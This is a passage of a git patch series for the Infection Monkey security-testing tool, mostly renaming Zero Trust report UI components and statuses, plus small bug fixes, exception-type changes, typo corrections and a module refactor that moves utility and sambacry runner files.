-          {"\t"}This status means the test wasn't executed.
+          {"\t"}This status means the test wasn't executed.To activate more tests, refer to the Monkey <NavLink to="/configuration"><u>configuration</u></NavLink> page.
         </li>
       </ul>
       <hr />
-      To activate more tests, go to the Monkey <NavLink to="/configuration"><u>configuration</u></NavLink> page.n
     </div>;
   }
 }
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarRecommendationsStatus.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarPrinciplesStatus.js
similarity index 67%
rename from monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarRecommendationsStatus.js
rename to monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarPrinciplesStatus.js
index 1ce02afce..8e4512ac7 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarRecommendationsStatus.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarPrinciplesStatus.js
@@ -1,13 +1,13 @@
 import AuthComponent from "../../AuthComponent";
 import PillarLabel from "./PillarLabel";
-import RecommendationsStatusTable from "./RecommendationsStatusTable";
+import PrinciplesStatusTable from "./PrinciplesStatusTable";
 import React from "react";
 import * as PropTypes from "prop-types";
 import {Panel} from "react-bootstrap";
 
-export default class SinglePillarRecommendationsStatus extends AuthComponent {
+export default class SinglePillarPrinciplesStatus extends AuthComponent {
   render() {
-    if (this.props.recommendationsStatus.length === 0) {
+    if (this.props.principlesStatus.length === 0) {
       return null;
     }
     else {
@@ -22,7 +22,7 @@ export default class SinglePillarRecommendationsStatus extends AuthComponent {
           </Panel.Heading>
           <Panel.Collapse>
             <Panel.Body>
-              <RecommendationsStatusTable recommendationsStatus={this.props.recommendationsStatus}/>
+              <PrinciplesStatusTable principlesStatus={this.props.principlesStatus}/>
             </Panel.Body>
           </Panel.Collapse>
         </Panel>
@@ -31,7 +31,7 @@ export default class SinglePillarRecommendationsStatus extends AuthComponent {
   }
 }
 
-SinglePillarRecommendationsStatus.propTypes = {
-  recommendationsStatus: PropTypes.array,
+SinglePillarPrinciplesStatus.propTypes = {
+  principlesStatus: PropTypes.array,
   pillar: PropTypes.string,
 };
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js
index 12c65b728..028ca7d89 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js
@@ -3,14 +3,14 @@ import * as PropTypes from "prop-types";
 
 const statusToIcon = {
   "Passed": "fa-check",
-  "Inconclusive": "fa-exclamation-triangle",
+  "Verify": "fa-exclamation-triangle",
   "Failed": "fa-bomb",
   "Unexecuted": "fa-question",
 };
 
 export const statusToLabelType = {
   "Passed": "label-success",
-  "Inconclusive": "label-warning",
+  "Verify": "label-warning",
   "Failed": "label-danger",
   "Unexecuted": "label-default",
 };
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js
index 4a597566c..d34a484b9 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js
@@ -8,7 +8,7 @@ export default class StatusesToPillarsSummary extends Component {
   render() {
     return (<div id="piilar-summary">
       {this.getStatusSummary(ZeroTrustStatuses.failed)}
-      {this.getStatusSummary(ZeroTrustStatuses.inconclusive)}
+      {this.getStatusSummary(ZeroTrustStatuses.verify)}
       {this.getStatusSummary(ZeroTrustStatuses.passed)}
       {this.getStatusSummary(ZeroTrustStatuses.unexecuted)}
     </div>);
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js
index 4a56a8b9e..585f22047 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js
@@ -14,7 +14,8 @@ export default class SummarySection extends Component {
           <Col xs={12} sm={12} md={12} lg={12}>
             <MonkeysStillAliveWarning allMonkeysAreDead={this.props.allMonkeysAreDead}/>
             <p>
-              Get a quick glance of the status for each of Zero Trust's seven pillars.
+              Get a quick glance at how your network aligns with the <a href="https://www.forrester.com/report/The+Zero+Trust+eXtended+ZTX+Ecosystem/-/E-RES137210">Zero
+              Trust eXtended (ZTX) framework</a>.
             </p>
           </Col>
         </Row>
@@ -27,20 +28,6 @@ export default class SummarySection extends Component {
             <ZeroTrustReportLegend/>
           </Col>
         </Row>
-        <Row>
-          <Col xs={12} sm={12} md={12} lg={12}>
-            <h4>What am I seeing?</h4>
-            <p>
-              The <a href="https://www.forrester.com/report/The+Zero+Trust+eXtended+ZTX+Ecosystem/-/E-RES137210">Zero
-              Trust eXtended framework</a> categorizes its <b>recommendations</b> into 7 <b>pillars</b>. Infection
-              Monkey
-              Zero Trust edition tests some of those recommendations. The <b>tests</b> that the monkey executes
-              produce <b>findings</b>. The tests, recommendations and pillars are then granted a <b>status</b> in
-              accordance
-              with the tests results.
-            </p>
-          </Col>
-        </Row>
       </Grid>
     </div>
   }
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js
index 2165916da..dd2a55865 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js
@@ -10,7 +10,7 @@ export const ZeroTrustPillars = {
 
 export const ZeroTrustStatuses = {
   failed: "Failed",
-  inconclusive: "Inconclusive",
+  verify: "Verify",
   passed: "Passed",
   unexecuted: "Unexecuted"
 };
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js
index c1d5d2a68..70304daad 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js
@@ -78,23 +78,22 @@ class VennDiagram extends React.Component {
     RULE #1: All scores have to be equal 0, except Unexecuted [U] which could be also a negative integer
              sum(C, I, P) has to be <=0
 
-    RULE #2: Conclusive [C] has to be > 0,
+    RULE #2: Failed [C] has to be > 0,
              sum(C) > 0
 
-    RULE #3: Inconclusive [I] has to be > 0 while Conclusive has to be 0,
+    RULE #3: Verify [I] has to be > 0 while Failed has to be 0,
              sum(C, I) > 0 and C * I = 0, while C has to be 0
 
     RULE #4: By process of elimination, passed.
              if the P is bigger by 2 then negative U, first conditional
              would be true.
-
     */
 
     this.rules = [
 
       {
         id: 'Rule #1', status: ZeroTrustStatuses.unexecuted, hex: '#777777', f: function (d_) {
-          return d_[ZeroTrustStatuses.failed] + d_[ZeroTrustStatuses.inconclusive] + d_[ZeroTrustStatuses.passed] === 0;
+          return d_[ZeroTrustStatuses.failed] + d_[ZeroTrustStatuses.verify] + d_[ZeroTrustStatuses.passed] === 0;
         }
       },
       {
@@ -103,8 +102,8 @@ class VennDiagram extends React.Component {
         }
       },
       {
-        id: 'Rule #3', status: 'Inconclusive', hex: '#F0AD4E', f: function (d_) {
-          return d_[ZeroTrustStatuses.failed] === 0 && d_[ZeroTrustStatuses.inconclusive] > 0;
+        id: 'Rule #3', status: ZeroTrustStatuses.verify, hex: '#F0AD4E', f: function (d_) {
+          return d_[ZeroTrustStatuses.failed] === 0 && d_[ZeroTrustStatuses.verify] > 0;
         }
       },
       {

From 68383f069b51dc2b5dd21d706b22921bf8888fc9 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Tue, 10 Sep 2019 23:51:19 +0300
Subject: [PATCH 57/78] Final text changes

---
 .../report-components/zerotrust/PrinciplesSection.js         | 4 +++-
 .../components/report-components/zerotrust/ReportLegend.js   | 3 +--
 .../components/report-components/zerotrust/SummarySection.js | 5 +++--
 3 files changed, 7 insertions(+), 5 deletions(-)

diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js
index 44b427c11..bb957d42d 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js
@@ -7,7 +7,9 @@ export default class PrinciplesSection extends Component {
     return <div id="principles-section">
       <h2>Test Results</h2>
       <p>
-        The Zero Trust eXtended (ZTX) framework is composed of 7 pillars. Each pillar is built of
+        The <a href="https://www.forrester.com/report/The+Zero+Trust+eXtended+ZTX+Ecosystem/-/E-RES137210">
+        Zero Trust eXtended (ZTX) framework
+      </a> is composed of 7 pillars. Each pillar is built of
         several guiding principles tested by the Infection Monkey.
       </p>
       {
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js
index 1881c82d2..5ef75f2b4 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js
@@ -44,7 +44,7 @@ class ZeroTrustReportLegend extends Component {
           <div style={{display: "inline-block"}}>
             <StatusLabel showText={true} status={ZeroTrustStatuses.passed}/>
           </div>
-          {"\t"}The test passed, so this is OK 🙂
+          {"\t"}All Tests related to this pillar passed. No violation of a Zero Trust guiding principle was detected.
         </li>
         <li>
           <div style={{display: "inline-block"}}>
@@ -53,7 +53,6 @@ class ZeroTrustReportLegend extends Component {
           {"\t"}This status means the test wasn't executed.To activate more tests, refer to the Monkey <NavLink to="/configuration"><u>configuration</u></NavLink> page.
         </li>
       </ul>
-      <hr />
     </div>;
   }
 }
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js
index 585f22047..e4012bf50 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js
@@ -14,8 +14,9 @@ export default class SummarySection extends Component {
           <Col xs={12} sm={12} md={12} lg={12}>
             <MonkeysStillAliveWarning allMonkeysAreDead={this.props.allMonkeysAreDead}/>
             <p>
-              Get a quick glance at how your network aligns with the <a href="https://www.forrester.com/report/The+Zero+Trust+eXtended+ZTX+Ecosystem/-/E-RES137210">Zero
-              Trust eXtended (ZTX) framework</a>.
+              Get a quick glance at how your network aligns with the <a href="https://www.forrester.com/report/The+Zero+Trust+eXtended+ZTX+Ecosystem/-/E-RES137210">
+                Zero Trust eXtended (ZTX) framework
+              </a>.
             </p>
           </Col>
         </Row>

From 650ef121492426aa55d1f36a60562aaccda8e04d Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Wed, 11 Sep 2019 13:03:12 +0300
Subject: [PATCH 58/78] Bugfix for monkey not reporting being dead

---
 monkey/infection_monkey/monkey.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py
index 692e278fb..78bdca453 100644
--- a/monkey/infection_monkey/monkey.py
+++ b/monkey/infection_monkey/monkey.py
@@ -225,7 +225,7 @@ class InfectionMonkey(object):
             InfectionMonkey.close_tunnel()
             firewall.close()
         else:
-            StateTelem(False).send()  # Signal the server (before closing the tunnel)
+            StateTelem(True).send()  # Signal the server (before closing the tunnel)
             InfectionMonkey.close_tunnel()
             firewall.close()
             if WormConfiguration.send_log_to_server:

From 4d24d8432e23150e48cb50db650512b8c4b99262 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Wed, 11 Sep 2019 17:19:23 +0300
Subject: [PATCH 59/78] Improved the Events modal

---
 monkey/monkey_island/cc/ui/package.json       |  3 +-
 .../zerotrust/EventsButton.js                 |  9 +----
 .../zerotrust/EventsModal.js                  | 39 +++++++++++--------
 .../zerotrust/EventsModalButtons.js           | 20 ++++++++++
 .../zerotrust/EventsTimeline.js               |  3 +-
 5 files changed, 47 insertions(+), 27 deletions(-)
 create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModalButtons.js

diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json
index 872a22bdc..983366c6e 100644
--- a/monkey/monkey_island/cc/ui/package.json
+++ b/monkey/monkey_island/cc/ui/package.json
@@ -104,6 +104,7 @@
     "react-tooltip-lite": "^1.9.1",
     "redux": "^4.0.0",
     "sass-loader": "^7.1.0",
-    "sha3": "^2.0.0"
+    "sha3": "^2.0.0",
+    "pluralize": "latest"
   }
 }
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js
index ea24e7b1a..761ff94a9 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js
@@ -32,13 +32,8 @@ export default class EventsButton extends Component {
   }
 
   createEventsAmountBadge() {
-    let eventsAmountBadge;
-    if (this.props.events.length > 9) {
-      eventsAmountBadge = <Badge>9+</Badge>;
-    } else {
-      eventsAmountBadge = <Badge>{this.props.events.length}</Badge>;
-    }
-    return eventsAmountBadge;
+    const eventsAmountBadgeContent = this.props.events.length > 9 ? "9+" : this.props.events.length;
+    return <Badge>{eventsAmountBadgeContent}</Badge>;
   }
 }
 
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js
index 2ce25bf20..a7f2fe41c 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js
@@ -1,9 +1,11 @@
 import React, {Component} from "react";
-import {Modal} from "react-bootstrap";
+import {Badge, Modal} from "react-bootstrap";
 import EventsTimeline from "./EventsTimeline";
 import * as PropTypes from "prop-types";
-import ExportEventsButton from "./ExportEventsButton";
 import saveJsonToFile from "../../utils/SaveJsonToFile";
+import EventsModalButtons from "./EventsModalButtons";
+import Pluralize from 'pluralize'
+import {statusToLabelType} from "./StatusLabel";
 
 export default class EventsModal extends Component {
   constructor(props) {
@@ -15,28 +17,31 @@ export default class EventsModal extends Component {
       <div>
         <Modal show={this.props.showEvents} onHide={() => this.props.hideCallback()}>
           <Modal.Body>
-            <h2>
+            <h3>
               <div className="text-center">Events</div>
-            </h2>
-
+            </h3>
+            <hr />
+            <p>
+              There {Pluralize('is', this.props.events.length)} {<div className={"label label-primary"}>{this.props.events.length}</div>} {Pluralize('event', this.props.events.length)} associated with this finding.
+            </p>
+            {this.props.events.length > 5 ? this.renderButtons() : null}
             <EventsTimeline events={this.props.events}/>
-
-            <div className="text-center">
-              <button type="button" className="btn btn-success btn-lg" style={{margin: '5px'}}
-                      onClick={() => this.props.hideCallback()}>
-                Close
-              </button>
-              <ExportEventsButton onClick={() => {
-                const dataToSave = this.props.events;
-                const filename = this.props.exportFilename;
-                saveJsonToFile(dataToSave, filename);
-              }}/>
-            </div>
+            {this.renderButtons()}
           </Modal.Body>
         </Modal>
       </div>
     );
   }
+
+  renderButtons() {
+    return <EventsModalButtons
+      onClickClose={() => this.props.hideCallback()}
+      onClickExport={() => {
+        const dataToSave = this.props.events;
+        const filename = this.props.exportFilename;
+        saveJsonToFile(dataToSave, filename);
+      }}/>;
+  }
 }
 
 EventsModal.propTypes = {
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModalButtons.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModalButtons.js
new file mode 100644
index 000000000..962c54893
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModalButtons.js
@@ -0,0 +1,20 @@
+import React, {Component} from "react";
+import ExportEventsButton from "./ExportEventsButton";
+import * as PropTypes from "prop-types";
+
+export default class EventsModalButtons extends Component {
+  render() {
+    return <div className="text-center">
+      <button type="button" className="btn btn-success btn-lg" style={{margin: '5px'}}
+              onClick={this.props.onClickClose}>
+        Close
+      </button>
+      <ExportEventsButton onClick={this.props.onClickExport}/>
+    </div>
+  }
+}
+
+EventsModalButtons.propTypes = {
+  onClickClose: PropTypes.func,
+  onClickExport: PropTypes.func
+};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js
index d6723bd4d..b7fb90811 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js
@@ -14,7 +14,7 @@ export default class EventsTimeline extends Component {
   render() {
     return (
       <div>
-        <Timeline>
+        <Timeline style={{fontSize: '100%'}}>
           {
             this.props.events.map((event, index) => {
               const event_time = new Date(event.timestamp['$date']).toString();
@@ -22,7 +22,6 @@ export default class EventsTimeline extends Component {
                 key={index}
                 createdAt={event_time}
                 title={event.title}
-
                 icon={<img src={eventTypeToIcon[event.event_type]} alt="icon" style={{width: '24px'}} />}>
                   {event.message}
               </TimelineEvent>)

From 994b6ed63dc3a686747bffa547f94dc336ceaf40 Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Wed, 11 Sep 2019 17:23:28 +0300
Subject: [PATCH 60/78] Improved exception throwing

---
 monkey/infection_monkey/exploit/mssqlexec.py        | 2 +-
 monkey/infection_monkey/exploit/tools/http_tools.py | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py
index c08aec28d..db503c717 100644
--- a/monkey/infection_monkey/exploit/mssqlexec.py
+++ b/monkey/infection_monkey/exploit/mssqlexec.py
@@ -185,7 +185,7 @@ class MSSQLExploiter(HostExploiter):
 
         LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
                     'aborting brute force'.format(host, port))
-        raise Exception("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
+        raise RuntimeError("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
 
 
 class MSSQLLimitedSizePayload(LimitedSizePayload):
diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py
index 0de47b155..19b45b043 100644
--- a/monkey/infection_monkey/exploit/tools/http_tools.py
+++ b/monkey/infection_monkey/exploit/tools/http_tools.py
@@ -85,6 +85,6 @@ class MonkeyHTTPServer(HTTPTools):
 
     def stop(self):
         if not self.http_path or not self.http_thread:
-            raise Exception("Can't stop http server that wasn't started!")
+            raise RuntimeError("Can't stop http server that wasn't started!")
         self.http_thread.join(DOWNLOAD_TIMEOUT)
         self.http_thread.stop()

From 4b44fad1cd729428fd94631718eb9ebfc20b75b0 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Mon, 16 Sep 2019 12:27:50 +0300
Subject: [PATCH 61/78] Fixed typos and grammer errors

---
 monkey/common/data/zero_trust_consts.py                  | 6 +++---
 monkey/infection_monkey/monkey_utils/windows/new_user.py | 4 ++--
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py
index 3362756d9..4add05d04 100644
--- a/monkey/common/data/zero_trust_consts.py
+++ b/monkey/common/data/zero_trust_consts.py
@@ -139,16 +139,16 @@ TESTS_MAP = {
     TEST_TUNNELING: {
         TEST_EXPLANATION_KEY: u"The Monkey tried to tunnel traffic using other monkeys.",
         FINDING_EXPLANATION_BY_STATUS_KEY: {
-            STATUS_FAILED: "Monkey was tunneled its traffic using other monkeys. Your network policies are too permissive - restrict them."
+            STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - restrict them."
         },
         PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES,
         PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
         POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED]
     },
     TEST_COMMUNICATE_AS_NEW_USER: {
-        TEST_EXPLANATION_KEY: u"The Monkey tried create a new user and communicate with the internet from it.",
+        TEST_EXPLANATION_KEY: u"The Monkey tried to create a new user and communicate with the internet from it.",
         FINDING_EXPLANATION_BY_STATUS_KEY: {
-            STATUS_FAILED: "Monkey was able to cause a new user to access the network. Your network policies are too permissive - restrict them to MAC only.",
+            STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - restrict them to MAC only.",
             STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network."
         },
         PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES,
diff --git a/monkey/infection_monkey/monkey_utils/windows/new_user.py b/monkey/infection_monkey/monkey_utils/windows/new_user.py
index fbe4bd832..87d2da3b8 100644
--- a/monkey/infection_monkey/monkey_utils/windows/new_user.py
+++ b/monkey/infection_monkey/monkey_utils/windows/new_user.py
@@ -15,8 +15,8 @@ class NewUser(object):
     """
     RAII object to use for creating and using a new user in Windows. Use with `with`.
     User will be created when the instance is instantiated.
-    User will log on start of `with` scope.
-    User will log off and get deleted on end of `with` scope.
+    User will log on at the start of the `with` scope.
+    User will log off and get deleted at the end of said `with` scope.
 
     Example:
              # Created                           # Logged on

From edc2d49307332ccd4c4bf65c63f478d00be8fb85 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Mon, 16 Sep 2019 13:00:42 +0300
Subject: [PATCH 62/78] Broke monkey_utils to utils/ and moved sambacry_runner
 to exploit. This commit is 100% refactoring without any new code, just
 deleted unused utils.

---
 deployment_scripts/config.ps1                 |  2 +-
 deployment_scripts/deploy_linux.sh            |  2 +-
 monkey/infection_monkey/exploit/mssqlexec.py  |  2 +-
 .../sambacry_monkey_runner/build.sh           |  0
 .../sambacry_monkey_runner/sc_monkey_runner.c |  0
 .../sambacry_monkey_runner/sc_monkey_runner.h |  0
 monkey/infection_monkey/main.py               |  6 +-
 monkey/infection_monkey/monkey.py             | 11 ++--
 monkey/infection_monkey/network/tools.py      |  2 +-
 .../actions/communicate_as_new_user.py        |  4 +-
 .../post_breach/actions/users_custom_pba.py   |  4 +-
 monkey/infection_monkey/post_breach/pba.py    |  2 +-
 .../post_breach/post_breach_handler.py        |  2 +-
 monkey/infection_monkey/readme.txt            |  2 +-
 monkey/infection_monkey/utils.py              | 62 -------------------
 .../{monkey_utils => utils}/__init__.py       |  0
 monkey/infection_monkey/utils/environment.py  | 18 ++++++
 monkey/infection_monkey/utils/monkey_dir.py   | 29 +++++++++
 .../infection_monkey/utils/monkey_log_path.py | 14 +++++
 .../windows/__init__.py                       |  0
 .../windows/new_user.py                       |  0
 monkey/infection_monkey/windows_upgrader.py   |  2 +-
 22 files changed, 82 insertions(+), 82 deletions(-)
 rename monkey/infection_monkey/{monkey_utils => exploit}/sambacry_monkey_runner/build.sh (100%)
 rename monkey/infection_monkey/{monkey_utils => exploit}/sambacry_monkey_runner/sc_monkey_runner.c (100%)
 rename monkey/infection_monkey/{monkey_utils => exploit}/sambacry_monkey_runner/sc_monkey_runner.h (100%)
 delete mode 100644 monkey/infection_monkey/utils.py
 rename monkey/infection_monkey/{monkey_utils => utils}/__init__.py (100%)
 create mode 100644 monkey/infection_monkey/utils/environment.py
 create mode 100644 monkey/infection_monkey/utils/monkey_dir.py
 create mode 100644 monkey/infection_monkey/utils/monkey_log_path.py
 rename monkey/infection_monkey/{monkey_utils => utils}/windows/__init__.py (100%)
 rename monkey/infection_monkey/{monkey_utils => utils}/windows/new_user.py (100%)

diff --git a/deployment_scripts/config.ps1 b/deployment_scripts/config.ps1
index 24a8d3322..07be64612 100644
--- a/deployment_scripts/config.ps1
+++ b/deployment_scripts/config.ps1
@@ -22,7 +22,7 @@ $SAMBA_64_BINARY_NAME = "sc_monkey_runner64.so"
 # Other directories and paths ( most likely you dont need to configure)
 $MONKEY_ISLAND_DIR = "\monkey\monkey_island"
 $MONKEY_DIR = "\monkey\infection_monkey"
-$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\monkey_utils\sambacry_monkey_runner"
+$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\exploit\sambacry_monkey_runner"
 $PYTHON_DLL = "C:\Windows\System32\python27.dll"
 $MK32_DLL = "mk32.dll"
 $MK64_DLL = "mk64.dll"
diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh
index 5ce29ac59..4df8ba114 100644
--- a/deployment_scripts/deploy_linux.sh
+++ b/deployment_scripts/deploy_linux.sh
@@ -129,7 +129,7 @@ python -m pip install --user -r requirements_linux.txt || handle_error
 # Build samba
 log_message "Building samba binaries"
 sudo apt-get install gcc-multilib
-cd ${monkey_home}/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner
+cd ${monkey_home}/monkey/infection_monkey/exploit/sambacry_monkey_runner
 sudo chmod +x ./build.sh || handle_error
 ./build.sh
 
diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py
index e4eaf3151..0115dfbf5 100644
--- a/monkey/infection_monkey/exploit/mssqlexec.py
+++ b/monkey/infection_monkey/exploit/mssqlexec.py
@@ -11,7 +11,7 @@ from infection_monkey.exploit.tools.http_tools import HTTPTools
 from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, get_target_monkey, \
     build_monkey_commandline, get_monkey_depth
 from infection_monkey.model import DROPPER_ARG
-from infection_monkey.utils import get_monkey_dir_path
+from infection_monkey.utils.monkey_dir import get_monkey_dir_path
 
 LOG = logging.getLogger(__name__)
 
diff --git a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/build.sh b/monkey/infection_monkey/exploit/sambacry_monkey_runner/build.sh
similarity index 100%
rename from monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/build.sh
rename to monkey/infection_monkey/exploit/sambacry_monkey_runner/build.sh
diff --git a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c b/monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.c
similarity index 100%
rename from monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c
rename to monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.c
diff --git a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h b/monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.h
similarity index 100%
rename from monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h
rename to monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.h
diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py
index 3b51c1be2..c20a84190 100644
--- a/monkey/infection_monkey/main.py
+++ b/monkey/infection_monkey/main.py
@@ -8,7 +8,7 @@ import os
 import sys
 import traceback
 
-import infection_monkey.utils as utils
+from infection_monkey.utils.monkey_log_path import get_dropper_log_path, get_monkey_log_path
 from infection_monkey.config import WormConfiguration, EXTERNAL_CONFIG_FILE
 from infection_monkey.dropper import MonkeyDrops
 from infection_monkey.model import MONKEY_ARG, DROPPER_ARG
@@ -79,10 +79,10 @@ def main():
 
     try:
         if MONKEY_ARG == monkey_mode:
-            log_path = utils.get_monkey_log_path()
+            log_path = get_monkey_log_path()
             monkey_cls = InfectionMonkey
         elif DROPPER_ARG == monkey_mode:
-            log_path = utils.get_dropper_log_path()
+            log_path = get_dropper_log_path()
             monkey_cls = MonkeyDrops
         else:
             return True
diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py
index 3cd20d9c2..b97e08dfd 100644
--- a/monkey/infection_monkey/monkey.py
+++ b/monkey/infection_monkey/monkey.py
@@ -7,7 +7,8 @@ import time
 from six.moves import xrange
 
 import infection_monkey.tunnel as tunnel
-import infection_monkey.utils as utils
+from infection_monkey.utils.monkey_dir import create_monkey_dir, get_monkey_dir_path, remove_monkey_dir
+from infection_monkey.utils.monkey_log_path import get_monkey_log_path
 from infection_monkey.config import WormConfiguration
 from infection_monkey.control import ControlClient
 from infection_monkey.model import DELAY_DELETE_CMD
@@ -90,7 +91,7 @@ class InfectionMonkey(object):
         self.set_default_port()
 
         # Create a dir for monkey files if there isn't one
-        utils.create_monkey_dir()
+        create_monkey_dir()
 
         if WindowsUpgrader.should_upgrade():
             self._upgrading_to_64 = True
@@ -244,8 +245,8 @@ class InfectionMonkey(object):
 
     @staticmethod
     def self_delete():
-        status = ScanStatus.USED if utils.remove_monkey_dir() else ScanStatus.SCANNED
-        T1107Telem(status, utils.get_monkey_dir_path()).send()
+        status = ScanStatus.USED if remove_monkey_dir() else ScanStatus.SCANNED
